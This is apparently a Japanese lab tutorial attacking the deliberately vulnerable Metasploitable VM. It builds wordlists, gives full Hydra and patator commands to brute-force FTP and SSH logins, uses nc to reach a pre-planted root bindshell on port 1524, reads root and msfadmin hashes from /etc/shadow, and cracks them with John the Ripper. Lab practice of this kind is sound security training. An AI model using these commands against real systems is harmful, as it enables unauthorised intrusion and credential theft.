Metasploitable への各種攻撃 その2
引き続き Metasploitable への実験
辞書攻撃でFTPアカウント解析
まずユーザリストの作成
1 | cat > user.list |
で入力モードになるので
1 2 3 4 5 6 7 | root sys msfadmin admin user service postgres |
を入力し
ctrl + c で終了
次にパスワードリストの作成
1 | cat > pass.list |
おなじく入力モードになるので
1 2 3 4 5 6 7 8 9 | user password 12345678 msfadmin root guest batman asdfasdf tomcat |
なお、最後は空行にしている
これはパスワードを設定していないことがあるため
ctrl + c で終了
次にオンラインパスワードクラッカー Hydra を使う
英語でもOKなら
Hydra Package Description
も参考に
-L オプションでユーザリスト
-P オプションでパスワードリストを指定する
-t オプションで並列処理のタスク数を指定
デフォルトは16
コマンドは
1 | hydra -L user.list -P pass.list -t 8 192.168.1.137 ftp |
というように
1 | hydra -L ユーザリスト -P パスワードリスト -t タスク数 対象IP プロトコル |
となる
次にSSHアカウントの解析
SSHは並列処理タスク数が多いと警告がでるので4にする
1 | hydra -L user.list -P pass.list -t 4 192.168.1.137 ssh |
またSSHのポートが変更されていることもあるので
1 | hydra -L user.list -P pass.list -t 4 ssh : //192 .168.1.137:22 |
というような書き方もある
書式は
サービス名://IPアドレス:ポート番号
環境によってはSSHが無効化されていて解析できないことがあるので
patator を使う
使い方は
patator – Patatorは多目的なブルートフォーザであり、モジュラーデザインと柔軟な使い方があります
【セキュリティ】脆弱性診断・検査 ツール on Kali Linux
を参考に
patator は解析する認証ごとにモジュールがあり
ssh なら
ssh_login を使う
host=IPアドレスまたはターゲットリストファイル
user=対象ユーザまたはユーザリスト
password=パスワードまたはパスワードリスト
認証失敗したときに
Authentication failed.
とでてくるが大量にでて見難いのでログのフィルタリングをする
-x オプションをつけることで動作指定ができるので
-x ignore:mesg=’Authentication failed.’
をつけておく
これで認証成功のときだけ表示される
コマンドは
1 | patator ssh_login host=192.168.1.137 user=FILE0 password=FILE1 0=user.list 1=pass.list -x ignore:mesg= 'Authentication failed.' |
次にTCPバックドアの利用
Metasploitable に
1 | nmap -sV -O -p- 192.168.1.137 |
結果で
1 | 1524 /tcp open bindshell Metasploitable root shell |
があり
すでにバックドアが作られている
サービスの確認を
1 | nmap -p1524 192.168.1.137 |
で行うと
1 2 3 4 5 6 7 8 | Nmap scan report for 192.168.1.137 Host is up (0.00037s latency). PORT STATE SERVICE 1524 /tcp open ingreslock MAC Address: 08:00:27:55:20:B9 (Oracle VirtualBox virtual NIC) Nmap done : 1 IP address (1 host up) scanned in 0.29 seconds |
となり
ingreslock サービス名になっている
これに接続するには
1 | nc 192.168.1.137 1524 |
というように
nc コマンドを使う
nc IPアドレス ポート番号
で接続
id コマンドを実行すると
1 | uid=0(root) gid=0(root) groups =0(root) |
となり
root 権限シェルであることがわかる
id コマンドについては
【 id 】コマンド――ユーザーの識別情報を表示する
を参考に
このように誰かにバックドアを設置されると
設置者以外も簡単にログインしてくるようになる
次に
/etc/shadow から
root
msfadmin
の行だけ抽出
1 | cat /etc/shadow | grep -E "^root|^msfadmin" |
結果をコピーして
KaliLinux で
passwords ファイルを作成し貼り付け
内容は
1 2 | root:$1$ /avpfBJ1 $x0z8w5UF9Iv. /DR9E9Lid .:14747:0:99999:7::: msfadmin:$1$XN10Zj2c$Rt /zzCW3mLtUWA .ihZjA5/:14684:0:99999:7::: |
次にこれを John the Ripper でパスワード解析
まずは総当り攻撃で解析
1 | john --incremental passwords |
あとは スペースキーを押すと途中経過が表示される
途中でctrl +c で中断しても
レジューム機能で再実行すれば解析途中からスタートできる
1 | john --restore |
でレジュームできる